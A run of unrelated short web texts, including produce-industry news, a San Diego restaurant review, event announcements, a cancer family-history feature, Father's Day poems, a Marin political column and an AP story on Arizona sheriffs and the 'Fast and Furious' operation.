It is unclear whether the MDP sampling ever returned positive test results related to actuall illnesses or outbreaks.
"The (Centers for Disease Control and Prevention) or FDA could answer that question definitively," Brownlee said. "The (MDP) simply shares the data collection when testing shows pathogens."
The Packer asked CDC officials on Nov. 13 whether the MDP had ever returned positive results linked to actual illnesses or outbreaks. As of Nov. 15 the agency had not responded to the question.
The Obama administration and committees in the U.S. House and Senate decided earlier this year to kill funding for the testing program. The House Appropriations Committee reported the cut would save the Agricultural Marketing Service $4.4 million annually.
USDA initiated the MDP in 2001 to gather data about certain foodborne pathogens on certain fresh fruits and vegetables. Federal officials have repeatedly said the program was never intended to protect the public from foodborne illnesses.
Gilmer said some recalls provide good examples of why United Fresh officials believe such a program would be better administered by the FDA. He cited a recent Fresh Express recall of expired product as an example of how the MDP test results took longer to make their way through the federal system than it took for the suspect food to make it through — and out of — the supply chain.
Annual reports on the MDP tests and results are available on the USDA's AMS website.
The most recent report with full-year statistics is for 2009 when the program tested cantaloupe, cilantro, green onions, hot peppers, lettuce, spinach, sprouts and tomatoes for presence of salmonella and pathogenic E. coli. The AMS reports about 17,000 samples were collected from more than 600 food distribution sites in the continental U.S. in 2009. Samples included domestic, imported, conventional and organic produce.
The 2009 sampling took place in California, Colorado, Florida, Maryland, Michigan, Minnesota, New York, Ohio, Texas, Washington, and Wisconsin. The testing program confirmed a total of 32 positive salmonella isolates and 24 positive E. coli isolates for the entire year.
For 2012, the commodities on the MDP testing list were: alfalfa sprouts, cantaloupe, cilantro, hot peppers,
bagged lettuce, bagged spinach and tomatoes, including cherry, grape and roma/plum varities. According to the AMS website, the normal monthly sampling rate was 64 site samples per commodity. Three individual unit samples of each commodity tested were collected.


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One day a family of four (mother, father, and two kids) started a new collection. The collection grew as the days passed, and at the end of the week, content with their efforts, the father placed the collection in its entirety on display just outside the house. While the family slept, however, a few men drove up and swiped the whole collection before simply driving away. The family didn't know any of these men, and the men, likewise, had interacted with neither the parents nor the two children ever before. The following morning the family awoke and discovered the collection was missing. Unfazed by and even rather pleased with the turn of events, the family again teamed up and worked together on a brand new collection.
Why wasn't the family upset? What's went on in the dark of night?
HintIt was also readily apparent to the family that countless similar "swipe-and-runs" had occurred to nearly all the neighbors. Such was also the case the week prior (and the week before that, and the week before that...).
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San Ysidro swap meet replaced with Goodwill
"Oh yes, we all know it will close at the end of the year."
Marty Graham 3 p.m., Sept. 22
1337 India Street, Little Italy(No longer in business.)
For author Marcel Proust, the taste of a madeleine, a beloved pastry of childhood, evoked nostalgic memories that subsequently unleashed thousands of pages of prose upon the literary public. Most of us don't get quite that excited about our food.
Yes, flavors (and aromas) have a unique ability to bring back recollections of lost times, and sometimes even a tear of joy. And yes, at its best, cuisine is an art form, however evanescent the artworks. But if you eat at Anthology, your dinner may have to compete for your attention with jazz -- another evanescent art, much of it freshly created out of improvisations on old recipes (that is, standard melodies).
Good jazz can not only evoke past scenes, it provides them with a haunting soundtrack -- moving music turning into movie music. In my case, the memory movies (with my jazz-loving teenage self as the protagonist) are shot in black and white, in the fluid style of the New Wave filmmakers of the time, with a backdrop of glorious, bohemian Manhattan in the early '60s, jazz capital of the universe.
Our group began dinner at Anthology, present era. "I love this place!" said James, a handsome ex-chef-turned-realtor and Samurai Jim's neighbor. (We'd met previously over dinner at Kensington Grill.) "It's the perfect destination for a first date -- if the girl likes jazz." This splashy new nightclub-with-food at the south end of Little Italy has a menu overseen by celeb chef Brad Ogden and cooked by local toque Jim Phillips. We deliberately chose to go there on a Tuesday night, when there's no cover charge and the music is usually the house jazz band. I'm paid to review food, not music. "Eh, house band," I figured, "I won't have to pay attention." This particular evening, however, the band turned out to be a small combo led by sax player Jason Weber.
We were seated at a four-top in a slightly sunken area (let's not call it "the pit") close to the stage. The decor is glam and gorgeous, from what you can see of it in the atmospheric lighting. The ivory-colored leather(ette?) chairs look luxurious but aren't really all that comfy (at least for shorties). You can also sit at the banquettes lining the walls, but we chose a table because it's easier to converse. There are higher levels to the place -- a balcony-style second-floor mezzanine with a full menu, and a third-floor stratospheric lounge with only a bar menu, also balcony-style, from which you can look down on the groundlings and, I guess, throw popcorn on them. There's another bar at ground level (it was packed that night) for drinkers and single diners. There's a $20 food/drink minimum on the first floor, $15 on the mezzanine -- easy enough to meet with a glass of wine and a bowl of soup. No jazz-loving paupers allowed, I guess, except on the top floor.
"San Diego really needs a steady venue for jazz like this," James continued, "but it registers as a little too mature for San Diego audiences. Most people here want to eat and run, go dancing, go someplace else..." "Too shallow to settle in and enjoy the music," said Fred. James nodded and said, "But I'd be here every night if I could."
A page at the back of the wine list is devoted to cocktails devised by the head bartender -- most are slight variations on classics; others get creative with fruits and sweet liqueurs. I was the sole creativity-risker, choosing the tartest-sounding creation: a "Basil Limoncello" was as crisp and refreshing as I'd hoped. The gents went with classic booze. Meanwhile, the band struck up, and we ordered our dinner accompanied by its opening notes.
I have to admit up front that I'm long familiar with Brad Ogden's work (from the Bay Area) and that I'm not especially a fan. I've always found his food likable but underwhelming -- good, sound, user-friendly, but lacking in some dimension of passion or intensity. I think Ogden's greatest contributions to restaurant cuisine are probably his house-baked bread assortments. A server equipped with tongs duly brought around a bread tray and ramekins of soft butter. The Anthology choices mirror those at Arterra, where Ogden also consulted -- fabulous miniature corn muffins, mini-seeded baguettes, tiny blimps of sweet soft rolls. Be not ashamed, pig out at will: The bread server comes but once, to return nevermore. You want two breads at the least, but you should brazenly choose even more. (Purses are made for stealing fine restaurant rolls -- just ask my sainted mother, stepmother, or mother-in-law, if you can distract them from their harp-playing gigs in heaven.)
The best dish of the evening was an appetizer "duet of Maytag blue cheese soufflés." Two tiny puffed circles shared the plate, one a mild cheese, the other a strong one. Alongside were arugula, slices of port-poached pears, and a sticky, yummy mound of caramelized spiced walnuts. We played "mix and match" with the garnishes, and every bite was interesting.
A "farmers' market salad" is a riff on the classic French frisée-and-poached-egg salad, a mixture of green and red curly endive, fluffy hard-cooked egg, and applewood-smoked bacon bits in Banyuls vinaigrette, with (ta-da!) a few puffs of batter-fried chanterelle mushrooms on the side. The mushrooms were to die for, of course. But the surprise was how well the salad "aged" as we passed it around, the bacon flavor seeping into the vinaigrette and gradually ennobling all the other ingredients.
Steamed duck dumplings were controversial -- everyone sorta liked them but me, the Chinese-food snob. They looked something like wontons with pointy ends but didn't taste anything near. "Pastry is way too thick and doughy," I said, turning into the Last Empress with the nine-inch fingernails. "Any good Han chef would be embarrassed." The filling was mildly flavorful, the sweet-and-sour dip reasonably pleasing. Oh, go ahead, try them, make up your own mind.
"Santa Barbara Smoke-House Salmon" flopped. It wasn't smoked, it was thickly cut gravlax, tasting very ordinary plated over small, thin Yukon Gold potato pancakes with crème fraîche, minus any visible sign of the menu-advertised caviar. Although the lighting was dim, my teeth didn't detect any caviar crunch either.


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Dole Food Co. won't win any creativity awards for its booth at the Produce Marketing Association's 2013 Fresh Summit expo in New Orleans, but it will make a statement.
In fact, one of the world's leading marketers of fresh fruits and vegetables will only have a 20- by 20-foot area that will be walled off and separated into two meeting rooms, according to Bil Goldfield, communications director for Westlake Village, Calif.-based Dole.
The company won't display product at the booth, he said.
"We are actually doing more of a meeting space this year similar to the business suite we have been doing at United Fresh for a couple of years," Goldfield said, describing its booth as a "functional" space.
The minimalist approach comes at a time when Dole, with $4.2 billion in revenues last year in sales to more than 90 countries, is trying to rebalance its participation and support of United Fresh Produce Association and the Produce Marketing Association.
"We've been heavily PMA in terms of what we do at the show and very minimalist and functional at United," he said. "It makes sense to be balanced then for both organizations."
He said Dole was disappointed that a proposed merger between United Fresh and PMA failed in the 11th hour.
In July last year, the two boards ended 18 months of negotiations, and the ultimate sticking point was who would lead the combined organization.
"We just thought a strong unified body will give us a better presence in the industry, focus our lobbying activities and at some point eliminate potential conflict or confusion in the message by having a single body," he said.
Goldfield said Dole's spartan booth approach was not intended to "punish" the organizations.
"We are doing this to say, you know what, if we are going to have to continue to support two organizations, then maybe we just have to have a smarter way of doing it," he said.
Dole believes a merger still makes sense, he said.
"We would love for them to go back to the table and see if they could work something out," he said. "That would be fantastic if they reopened negotiations. That's what the bodies of both organizations want."
Goldfield said he hasn't heard of any other marketers taking a similar approach at Fresh Summit. The company plans to evaluate how effective the smaller booth was.
"I don't think we have any preconceived idea of what we are gong to do next year yet," he said.
Bryan Silbermann, president of the Newark, Del.-based PMA, said he has not heard of any similar decisions by other exhibitors. Any booth decisions related to the failed merger would represent a very small minority, he said.
Fresh Summit 2013 is sold out and there are already 400 contracts in hand for next year's expo, he said.
Silbermann said companies always need to evaluate how they present themselves at industry trade shows.
"If (Dole) wants to try something different, more power to them," he said.
"Participation and engagement needs to be for the benefit of members, not the benefit of associations," he said.
Silbermann said there is no talk of reopening merger discussions with United Fresh. He said Jan DeLyser, outgoing chairwoman of PMA and vice president of the California Avocado Commission, Irvine, will present an outline of PMA's new strategic plan at Fresh Summit.
Silbermann said the new strategic plan reflects lessons learned from the merger discussions.


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Surprise! It's done without a source filter
First, since Data::Dumper::Names 0.03 is only recommended and not required, one test fails sporadically. My bad
show $@;
That's because $@ is not a lexical. I don't know how to get around that,
I wonder if it's possible to find your caller's op tree and find your call site in it, then isolate the parameter expression and deparse it… that would be a rock solid approach.
But I don't know if the Perl introspection stuff is quite up to that level at this point.


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Join Oglethorpe University on Wednesday, February 2, 2011 as we welcome Amy C. Lance, president and founder of Chastain Horse Park, Ltd. Beginning at 4:30 p.m. in the OU Museum of Art, Lance will speak to attendees as part of Oglethorpe's Mack A. Rikard Lecture Series.
In 1997, Lance formed the nonprofit organization, Chastain Horse Park, Ltd., and served as the general contractor for the $4 million re-development of this Atlanta landmark. She eliminated the dilapidated structures and created the new horse park, beginning operations in 1999. Now the premier therapeutic riding stables in the southeast, Chastain Horse Park provides therapeutic riding for special needs children and adults, veterans, ESL children, and inner-city youth.
Lance received the Development Authority of Fulton County's Economic Development Award for "Excellence in Business", among other awards from Atlanta organizations for the redevelopment of the horse park. She graduated from the University of Georgia with a degree in Business Management.
The Rikard Lecture Series introduces students to current issues in business as presented by civic and businesspersons who are recognized as leaders in their professions. Past speakers have included Truett Cathy, Founder and Chairman of Chick-fil-A , William Johnston, Former President and COO of the New York Stock Exchange, and Dennis Kelly, President and CEO of Zoo Atlanta.
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With the concept of "pre-existing conditions" making front-page news in the ongoing tug-of-war focused on U.S. health care, it is not surprising that an increasing number of Americans are making more of a concerted effort to track their family health history.
Research reveals that regular check-ups and informative websites barely scratch the surface when it comes to family legacies.
Indeed, just two weeks ago, a new study, published in Nature, revealed breast cancer's categorization into four major genetic strata that could mean advances in research for cures and for the way the disease is approached.
Doctors and researchers are also learning that not all cancers believed to be hereditary are passed from generation to generation. There is increasing evidence that in some cases, the cancer can be passed through environmental sources, or even exposure to cancer medications among members of the same household.
Indeed, being well-informed about cancer and how it relates specifically to your family and household may be a bigger challenge than previously thought.
According to Dr. Generosa Grana, director of the Cooper University Hospital Cancer Center, in Camden, N.J., people with family histories should dig a lot deeper than their nearest and dearest.
"If you want a thorough family history, you need to go back a few generations, two to three at least," Grana advises. "In addition to that, you want to get a thorough true sense of what cancers occurred and at what ages, what types of tissues were involved.
"Was your ancestor affected by one cancer or two? What were specific symptoms the relative experienced? You want as much information about the cancer and cancers as possible."
Though Grana credits the mainstream media for doing a good job in terms of highlighting the importance of family history, Jewish families should take the pursuit seriously, especially as there are many hereditary illnesses in addition to cancer affecting the Jewish community. Grana notes that with so much information now widely available on hereditary illnesses and syndromes, patients and their doctors have taken an equal interest in the context of preventive medicine.
"We're just in our infancy in terms of learning about the true impact of genetics, " she continues. "Breast and ovarian cancer and their hereditary issues have gotten the most media attention, and for the Jewish community they are the most common.
"In the Jewish community you are also concerned about other conditions, such as Tay Sachs, that involve children, so this also makes inquiry into hereditary illnesses in addition to cancer important."
Grana explains that one major problem in tracking syndromes is that they are more complex phenomena that extend to several organs. It takes more aggressive research for families to evaluate their predisposition, she says.
"Based on what you know about cancer and your family history, you may be able to change lifestyle" and nutritional approaches, as well as exercise and other lifestyle decisions, such as when you decide to have children. "If you come from a family with high coronary disease risk, that is a family where nutrition and exercise plays a role.
"One important caveat to note is that cancers in families are occurring at younger ages. Our reproductive lives have changed; having children later in life and children hitting puberty earlier" — all such things could be "having an impact."
Dr. Kristin Brill, head of the Janet Knowles Breast Cancer Center at Cooper University Hospital, is a cancer surgeon. She points out that genetic research has had a profound impact on how she can advise patients on a variety of issues, from what kind of surgery to have if diagnosed to different means of preventing the onset of illness. She also urges patients to be aware of the presence of abnormal BRCA1 and BRCA2 genes (linked with breast cancer) in their family histories. If they are prevalent on both sides, dig a little deeper, she cautions because "it is not uncommon for some patients to think paternal histories have no bearing," and cancer risk "is only passed through the mother's side," says Brill.
"From my perspective, the idea that there is more focus and accuracy in genetics is very exciting because it advances what we can do for patients."
She adds that "we can now go from an attempt at early diagnosis to specific preventative measures tailored for that patient, based on a family history. We can counsel young patients early on and offer them risk reduction courses of action, such as medication, surgery or even close surveillance, to potentially prevent the cancer from happening."
While different cancers running in families should prompt its members to never take anything in a family history for granted, there are other medical issues affecting families affected by cancer. Theresa O'Keefe, chief scientific officer at the Pharma-Cycle (www.pharma-cycle.org), stresses 24 of the most common drugs used in cancer treatments can cause cancer in other family members if proper precautions are not taken.
"Though many of the drugs kill cancers by killing cancer cells, they can also cause cancers when other people in a patient's household are exposed to them in smaller doses somewhere else," O'Keefe explains.
"Eighty-five percent of patients are sent home after they receive infusions, and two to five days after treatment, all [family] members are potentially in danger from the effects of these drugs. Once exposed, drugs can absorb into the skin, pass through the body and cause cancer in other members in about 10 years."
To help stave off the potentially deadly residual effects of post-chemotherapy drug exposure, Pharma-Cycle has created a kit for cancer patients, which O'Keefe describes as "tools to create a cocoon around themselves to protect their home and family members" from exposure to harmful chemicals.
She also advises families to visit the treatment and side-effects section of the American Cancer Society's website (www.cancer.org/Treatment/TreatmentsandSideEffects), and take common-sense precautions — avoiding close contact with the patient in treatment;, flushing the toilet twice; using disinfectant wipes on surfaces; and having no intimacy during treatment.
"When huge quantities of these drugs are circulated, they are incredibly dangerous," O'Keefe cautions. "Oncology nurses and pharmacists who work with chemo-drugs will often die of cancer by working with patients.
"While it is not a true heredity-caused cancer, what makes it a family matter is the potential for patients to pass the chemicals on to their family members through exposure. One thing that is reassuring, however, is that exposure is preventable; people can make sure they avoid surfaces in their home or their affected family member until a certain amount of time passes after the patient is treated."
O'Keefe also adds that based on her 25 years of experience and research, she and her colleagues have discovered that there is a good chance that a lot of the cancers that appear to be hereditary may in fact be environmental.
"For many years working in research to understand cancer, it used to be cancer happened once in a while within a family," she adds. "Later, we started seeing families where one member would develop cancer at 50, and in the next generation another family member would get it at age 20.
"It seemed heredity, but in the wake of our research, we now have to question if the cancer is hereditary or if it happened because of exposure to the family member being treated with certain medicines or other things, like smoking or excess sun exposure."
Elyse Glickman is a writer with an expertise in travel and health issues.
This article originally appeared in a special "Fighting Cancer" section of the Exponent.


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There is nothing Dads love more on Father's Day than receiving homemade gift made by the loving hands of his children. This year your kids can choose one of these heartwarming Just for Dad poems for the bookmark, card, or photoframe they're making specially for Father's Day.
Children have a certain way
of growing bigger every day
But these little hands
and this special smile
will stay in our
hearts a long, long while
Sometimes you get discouraged
Because I am so small
And always leave my fingerprints
On furniture and walls.
But every day I'm growing -
I'll be grown some day
And all those tiny handprints
Will surely fade away.
So here's a little handprint
Just so you can recall
Exactly how my fingers looked
When I was very small.
These are my fingerprints
tiny and small.
To place in your Books
Winter, Spring, Summer,
And Fall.
They are here to remind you
the whole year through
that you're the Best Dad,
I Love You!
Little Handprints everywhere, on the tables, on the chairs,
Little Handprints now let me think, on the taps and on the sink
Little Handprints everyday, just for you to wipe away.
But as I grow you will find no more handprints left behind
So I've made some prints for you, of little hands, one and two
Now, when I'm big you'll still see little handprints left by me!
I miss you when we're not together
I'm growing up so fast
See how big I've gotten
Since you saw me last?
As I grow, I'll change a lot,
The years will fly right by.
You'll wonder how I grew so quick
When and where and why?
So look upon this handprint (these handprints)
That's hanging on your wall.
And memories will come back of me,
When I was very small.
God took the strength of a mountain,
The majesty of a tree,
The warmth of a summer sun,
The calm of a quiet sea,
The generous soul of nature,
The comforting arm of night,
The wisdom of the ages,
The power of the eagle's flight,
The joy of a morning in spring,
The faith of a mustard seed,
The patience of eternity,
The depth of a family need,
Then God combined these qualities,
When there was nothing more to add,
He knew His masterpiece was complete,
And so,
He called it ... Dad
Daddy, I love you
For all that you do.
I'll kiss you and hug you
'Cause you love me, too.
You feed me and need me
To teach you to play,
So smile 'cause I love you
On this Father's Day.


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UM Lowe Art Museum, 1301 Stanford Drive, Coral Gables
*Please note the new start time of 4 p.m.
Alan Johnson, program director
The Frost Opera Theater's 2012-2013 season concludes with the premiere of Entanglements, a new opera by composer Charles Norman Mason.
Entanglements examines the types of personal, family and work relationships that evolve over time and explores universal feelings of love, jealously, anger, depression, and joy. An hour in length, scenes will occur simultaneously in adjacent galleries throughout the performance and YOU choose the viewing order! This unique production, conceived for multiple spaces, will be staged in five different galleries throughout the University of Miami's Lowe Art Museum.
General admission is $10. Admission is free for all UM students, faculty, staff, as well as Lowe members.
Online and phone sales are now closed. However, tickets are still available for purchase at the door.
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How do you know when a tie is too skinny?
Partly this is a matter of personal preference - albeit one that's inevitably influenced by the prevailing wind of fashion - but mainly this is a question of proportion. If Harvey were to wear a skinny tie (say two inches wide) with his suits, which have broad shoulders and wide lapels, the outfit would be comically imbalanced, as it would be if Mike were to wear a three-inch wide tie with his slim suits. Of course the height, weight and shape of the wearer himself must also be taken into account. Broader men might consider avoiding particularly wide ties, to help create an illusion of lean length, while very skinny ties on a thin guy can create a rather willowy look - not ideal for a power player.


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WANT TO EXPAND an apartment house, build a shopping center, run a commuter train or construct anything near wetlands? All of these activities could merit requiring proponents to conduct a formal environmental impact report.
The EIR process, while complicated, is an established way of doing business under California's Environmental Quality Act, often touted by Marin's elected officials as an essential part of the planning process.
That makes it especially surprising that staff is not recommending an EIR be prepared for the $143 million Highway 101/Greenbrae-Twin Cities Corridor Improvement Project.
That's the Transportation Authority of Marin-sponsored, Caltrans-led effort to rebuild a one-mile stretch of freeway north from Corte Madera's Tamalpais Drive to and including portions of the Highway 101/Sir Frances Drake Boulevard interchange.
Instead, TAM and Caltrans assembled a far less rigorous "environmental assessment," whose initial conclusion recommends that they exempt themselves from preparing an EIR by adopting a "negative declaration of environmental impact." Their rationale is that the massive project will not significantly affect the environment.
This self-serving conclusion should either be rejected, as advocated by Corte Madera Mayor Diane Furst, or a lawsuit should be filed challenging any EIR waiver.
If any highway project merits a full EIR, it's this one. View corridors will be limited, nearby wetlands impacted and additional traffic on adjacent Corte Madera streets will be worsened — all in the name of a dubious road project with marginal benefits.
The list of unintended consequences is so large that the plan either needs to be radically altered or junked. In that event, the regional bridge tolls that fund the project could be shifted to where they might have a greater benefit.
County supervisors and city councilmembers who comprise the Transportation Authority of Marin's board should promptly take their own medicine and order Caltrans to prepare a full EIR or be ready to defend their position in court.
State Sen. Noreen Evans, D-Santa Rosa, is venturing south into Marin. Due to an anomaly in the decennial legislative redistricting process, Marin, along with a few other similarly situated regions, will not be represented in California's state Senate until late 2014.
To compensate, the Senate Rules Committee has designated the politically progressive Evans, whose district will expand to include Marin in 2014, to be Marin's "caretaker" senator. That's an ambiguous honor since no additional staff goes with the designation.
Evans was in Novato last week to attend a community salute to just-retired Rep. Lynn Woolsey. The senator's district representative even made an appearance at the Marin Mayors and Councilmember's recent meeting of its Legislative Committee.
Normally a politician in Evans' position would be a constant presence in what will become a substantial part of her newly configured district. It's no secret in Sacramento that what's holding her back is a desire for an appointment to the Superior Court bench or to a top post in Gov. Jerry Brown's administration.
Running for a second term in 2014 appears to be Evans' Plan B if the governor fails to deliver an appointment.
That temporarily puts potential state Senate wannabes such as San Rafael Councilman Damon Connolly in limbo. If Evans, a former Santa Rosa councilmember, tries for another term she would be tough to beat.
If she moves on, expect a wide-open race in the new Second Senate District. It stretches from the Golden Gate to the Oregon state line with Santa Rosa the dominant city. The more ambitious prospective candidates may soon be popping up in counties stretching from the Golden Gate north to the Oregon state line. Their goal will be to get their name out and garner a little early exposure.
Columnist Dick Spotswood of Mill Valley now shares his views on local politics twice weekly in the IJ. His email address is email@example.com.


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Fourth Annual H.P. Lovecraft Film Festival
What: Three day celebration of H.P. Lovecraft, including film screenings, music and speakers.
Where: Warner Grand Theatre, 478 W. 6th St., San Pedro and Warner Grand Annex, 434 W. Sixth St., San Pedro
When: Sept. 27 at 7 p.m., Sept. 28 at 3 p.m. and Sept. 29 at 3 p.m.
Tickets: $20 for first day, $69 for all three days, plus special pricing packages.
Information: (310) 548-7372, www.hplfilmfestival.com
It's a little early for Halloween, but then H.P. Lovecraft, one of the 20th century's great writers of weird and macabre tales, wasn't writing stories for that now-secular holiday.
No, he was writing about much more.
He wrote about his own philosophy of life (he thought it was hopeless) and about the world he created, a world of magic and forbidden lore. During his short life, Lovecraft wasn't much of a commercial success. But in the more than 70 years since his death, his reputation has grown and his fans have become, if not legion, at least sufficient to support two film festivals dedicated to his work and the films, art and music it inspired.
This weekend's Fourth Annual H.P. Lovecraft Film Festival at the Warner Grand Theatre in San Pedro (the other one is held in Portland, Ore.) and at the Warner Grand Annex down the street, is a testament to just how influential — and weird — H.P. Lovecraft's legacy has become.
Lovecraft was born in 1890 and by the 1920's he was an established, if obscure, author. His stories, many based on his creation of the "Necronomicon," a book of magic spells and lore, have become extraordinarily influential. Horror writer Stephen King says he was the single most important influence in his stories.
But Lovecraft influenced not only writers and filmmakers, but also a number of rock bands. All are being brought together for this weekend's celebration.
The festival opens Friday at the Warner Grand with the first film, "Mother of Toads," at 7:30 p.m. There will be trailers, music videos and a screening of the short film "The Tell-tale Heart." The evening's centerpiece, a 25th anniversary screening of "The Unnameable," based on a story by Lovecraft, is also set to screen with one of the film's stars, Mark Kinsey Stephenson, on hand to talk about the film.
Saturday activities at the Warner inlcude two blocks of short films scheduled in the afternoon and early evening. That evening the feature film "Dagon" will be screened, followed by a discussion with Stuart Gordon, Brian Yuzna and D.H. Covy. To wrap up Saturday night, the film "In the Mouth of Madness" will be shown, introduced by Sandy King, wife of the film's producer John Carpenter.
On Sunday, activities switch to the Warner Grand Annex where there will be Cthulhu Prayer Breakfast at 11 a.m. and music and games throughout the afternoon.
In addition to the film screenings, discussions and music — both live and on video — a panel discussion with lunch at the Whale and Ale pub nearby in San Pedro is set for 1 p.m. to 3 p.m. Saturday featuring several local authors and raffle prizes.
Visitors will also have a chance to shop among many vendors in the Mall of Cthulhu, with lots of books (as befits H.P. Lovecraft) and fantasy art works. The Arkham Bazaar will be there as well as the H.P. Lovecraft Historical Society.


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A New you Plastic Surgery and Laser Center is devoted to providing our patients with the highest standards of medical and surgical excellence. It is our mission to ensure that each patients experience is safe, comfortable, and enhances their overall well-being.
Tuesday 3:00pm - 7:00pm Monday through Friday 8:30am - 5:30pm Friday 3:00pm - 7:00pm
Cosmetic Surgery
At a New You Plastic Surgery and Laser Center we offer a comprehensive consultation to all of our cosmetic patients. Dr. Shah will thoroughly discuss the procedure and all aspects of how it may be of a benefit to you. With the assistance of the Patient Care Coordinator, you will view video tapes on the procedures, see results of other patients who have undergone the same or similar procedures and discuss any questions you may have. The consultation provides an opportunity to explore your options and discuss your procedure in detail. We encourage you to ask questions during your consultation to ensure you have explored all avenues before a final decision is made. Fees and methods of payment are also covered during your consultation. Some of the services we offer are as follows: Abdominoplasty, Augmentation, Mammoplasty, Blepharoplasty, Forehead lift, Laser Surgery, Liposuction, Mastopexy, Otoplasty, Reduction Mammoplasty, Rhinoplasty, and Rhytidectomy.
A New you Plastic Surgery and Laser Center has a state-of-the-art surgical suite and recovery room. We have earned the highest level of certification, being accredited by The American Association for Accreditation of Ambulatory Surgery Facilities, Inc. (AAAASF). Another important aspect relates to the quality of systems in place for insuring your safety during and after surgery. Our operating and recivery rooms are equipped to hospital standards. Our medical staff constantly aspires to meet the highest standards in patient care.
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Board of Supervisors Evaluates County Attorney
Fairfax County Office of Public Affairs
12000 Government Center Parkway, Suite 551
Fairfax, VA 22035-0065
Contact: Merni Fitzgerald, Director of Public Affairs
703-324-3187, TTY 711, Fax 703-324-2010
Media Pager: 703-324-NEWS (6397)
Jan. 22, 2007
Fairfax County Board of Supervisors Evaluates County Attorney
At its regular meeting on Jan. 22, the Fairfax County Board of Supervisors performed its annual evaluation of the county attorney and approved salary and benefit adjustments.
County Attorney David P. Bobzien's base salary was increased to $192,880 annually, effective Feb. 3, 2007. The permissible maximum contribution for deferred compensation also was approved for this and future years.
For more information, call the Fairfax County Office of Public Affairs at 703-324-3187, TTY 711.
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Volvo sets up regional distribution center at Jebel Ali Free Zone
Jebel Ali Free Zone Authority (Jafza) announced that it had signed an agreement with the Volvo Group, the leading suppliers of transport solutions, whereby the latter will set up its regional distribution center at the Jebel Ali Free Zone.
The distribution center to be located in the southern area of Jafza will trade in all Volvo products and equipments including engines. The goods will be directly imported from Sweden through the Jebel Ali port. Of the 47,583 square meters of prime land that will be acquired by Volvo, only 10,000 square metres will be initially utilised. The remaining land will be used for the company's future expansion plans.
"We are proud to have Volvo setting up its operations at the Jebel Ali free zone. Jafza has been focussing on attracting companies from Europe, especially the Scandinavian region," said Ibrahim Al Janahi, Regional Manager – Europe, Jafza. "Nearly one third of the companies at the free zone are from Europe, including Fortune 500 companies like Nokia, DaimlerChrysler, Nestle, Philips, Procter & Gamble and Hewlett Packard. Volvo, known world-over for the quality and precision of its products, will find Jafza an ideal location to target the growing Middle East and North African regions," he adds.
A number of road shows, presentations, marketing campaigns and conferences were conducted by Jafza in many of the Scandinavian countries in an effort to attract more companies to establish operations in the free zone. Several Swedish companies like ESAB Middle East and Munters Middle East, already have an established presence at Jafza.
Volvo, with its distribution centre, will be having its first direct presence in the Middle East and will take this opportunity to test market its products in the region. Volvo decided to locate its center at Jafza after executives from Volvo conducted several rounds of surveys and analysis to study the feasibility of the project.
"Volvo was contemplating other areas in this region as well for this center. Volvo officials were in constant touch with us over the past few months, analysing the facilities and feasibility at the Jebel Ali free zone and they decided to set up their base in Jafza as they were fully satisfied with the infrastructure, support services and accessibility here," added Al Janahi.
"More than 75 per cent of companies at the Jebel Ali free zone are trading companies, 22 per cent are manufacturing units while 3 per cent are service companies. The highly regarded Jebel Ali port coupled with the various advantages of setting up operations in the Jebel Ali Free Zone like, simple administrative procedures, zero duties on all import and export goods and machineries within the free zone, modern communication facilities and much more will attract more international companies to the zone," concluded Al Janahi.
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PHOENIX — Ten Arizona sheriffs slammed the Obama administration on Friday over a botched federal operation that that lost track of up to 1,400 weapons sold to suspected straw purchasers for Mexican drug gangs.
The sheriffs called for the president to launch an independent investigation and for Attorney General Eric Holder to step down or be fired. They also said the Bureau of Alcohol, Tobacco, Firearms and Explosives' 2009 operation, known as "Fast and Furious," was a betrayal of state law enforcement.
"We're down there busting our butts every day trying to keep the American public safe," said Cochise County Larry Dever, whose jurisdiction is on the Arizona-Mexico border.
"We are here to help defend America, whether it's beyond the border or any place north where the tentacles of these cartels reach into our communities across this nation every single day. And for our own government to be complicit in helping them conduct that business is offensive to us," he said.
In what ATF said was an effort to target drug cartel leaders, the agency allowed straw purchasers for drug cartels to buy thousands of weapons from Arizona gun shops. Officials say agents lost track of about 1,400 of more than 2,000 guns identified in the operation.
A number of guns have been recovered at crime scenes in Mexico, and two of the guns were found at the scene where Border Patrol Agent Brian Terry was shot to death in southern Arizona on Dec. 14. It's still unclear whether the fatal bullet came from one of those weapons or another gun.
Standing in front of a Phoenix memorial for fallen law enforcement officers, including Terry, Dever and the other sheriffs called for the truth to come out about the entire operation. Five of the sheriffs are Democrats, and the other five are Republicans.
Pinal County Sheriff Paul Babeu said that Terry's families' "hearts are broken."
"They want the truth, and they haven't been given the truth," he said. "Where's the honor of our country and us in law enforcement when a brother officer is murdered in our state here in Arizona, protecting our country, and then we find out months later that two of these weapons were weapons from Fast and Furious?"
Babeu said he wants President Barack Obama to appoint a special council to conduct an independent investigation into the matter and for Holder to step down or be fired, saying that Fast and Furious happened under his watch.
"We want to get to the bottom of this. One, to find out what truly happened, and two, to ensure this never happens again," he said. "This is not political. This is a public safety issue, this is a threat against our deputies and local officers, not only in Arizona but across the Southwest."
While some of the sheriffs drove several hours for the news conference, Arizona's most famous sheriff did not attend, even though it was less than 2 miles away from his office.
Maricopa County Sheriff Joe Arpaio, a Republican, said as a former federal official himself, he was reserving judgment about Fast and Furious until all the findings are released.
"It's my philosophy not to accuse a federal law enforcement agency until you have all the facts," he said. "There may be a few problems within the organization, but we shouldn't judge a federal organization — I'm talking about the ATF now — with some possible misdeeds."
He added, "I am going to let the system take its course."
Fast and Furious has been the subject of recent congressional hearings in which the ATF acknowledged making mistakes and led to the resignations of the ATF's acting director and former U.S. Attorney of Arizona Dennis Burke, amid other personnel shake-ups.
Dever defended Burke and other state level officials, saying that they took the fall for an operation that was decided by people well above them.
"Whoever it is, needs to be held accountable," he said. "We're in a fight for our country, our constitution and our very lives."
B. Todd Jones, the ATF's new acting director, announced 11 major personnel changes this week designed to give the agency a fresh start.
At a briefing for reporters, Jones said the controversy surrounding Fast and Furious may have diminished the level of trust between U.S. law enforcement officials and their counterparts in Mexico, and that it's something the agency is going to have to rebuild.
On Tuesday, Republic Rep. Lamar Smith of Texas also called for a special council to investigate Fast and Furious, saying that Holder may have misled Congress about his knowledge of the operation.
Associated Press writer Jacques Billeaud contributed to this report. Follow Amanda Lee Myers on Twitter at http://twitter.com/(hash)!/AmandaLeeAP